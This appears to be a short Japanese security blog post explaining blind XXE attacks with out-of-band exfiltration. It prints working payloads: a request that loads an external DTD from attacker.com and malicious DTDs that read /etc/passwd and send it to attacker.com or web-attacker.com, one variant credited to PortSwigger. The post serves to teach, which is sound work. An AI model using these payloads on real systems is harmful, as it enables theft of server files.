Shikata Ga Nai

Private? There is no such things.

Blind XXEを悪用してデータをアウトオブバンドで外部に漏洩する方法

Hello there, ('ω')ノ

 

アウトオブバンド形式の攻撃については、Blindという名前が示す通り、

XXE攻撃が返り値を返さない可能性があることを意味して。

しかし、それはまだ脆弱性として存在していることに注意してほしくて。

したがって、わずかに難度が上がる方法で攻撃を行うことができ。

Blind XXE攻撃は、機密データをフィルタリングする一種の攻撃方法で。

ただし、ハッカーは制御下にあるシステム上で悪意のあるDTDを

ホスティングする必要があって。

以下に攻撃手順を。


<?xml version="1.0" ?>

<!DOCTYPE request [
<!ENTITY % sp SYSTEM "http://attacker.com/ev.xml"> ・・・①
%sp;
%param1;
]>

<request>&exfil;</request> ・・・③


攻撃者が制御する悪意のあるDTDであるev.xml内部には、

以下のように/etc/passwdをフィルタリングする詳細が含まれていて。

 

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">

・・・②

 

攻撃が実行されると、ev.xmlはロードされ、%sp;変数内のspが呼び出され。

 

これにより、param1内部の値がターゲットに露出し。

この値はev.xml経由で%param1を通じてロードされ、

param1にはENTITY exfilが含まれていて。

 

そして、&exfil;セクションでホスティングされている攻撃者の

ホスティング先に接続し、URLクエリ文字列内の%dataの値とともに送信されて。

 

または、PortSwiggerのガイドに従って書くこともでき。

ev.xmlの部分は次のようになって。


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">

%eval;
%exfiltrate;


そして、ターゲットの部分は次のようになり。


<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd">
%xxe;
]>


PortSwiggerのガイドに従う場合、少し異なる部分があり。

具体的には、evalは別のXMLであるexfiltrateを動的宣言として結合し、

ENTITYを使用してHTTPリクエストを攻撃者のウェブサイトに作成して。

この攻撃者のウェブサイトには、URLクエリ文字列内のfileの値が含まれていて。

つまり、値を取得して返し

 

値は%fileにあり、?x=のパラメータ値をして渡されて。

そのため、ENTITY fileが自身で/etc/passwdのデータを盗み、攻撃者に返して。

 

Best regards, (^^ゞ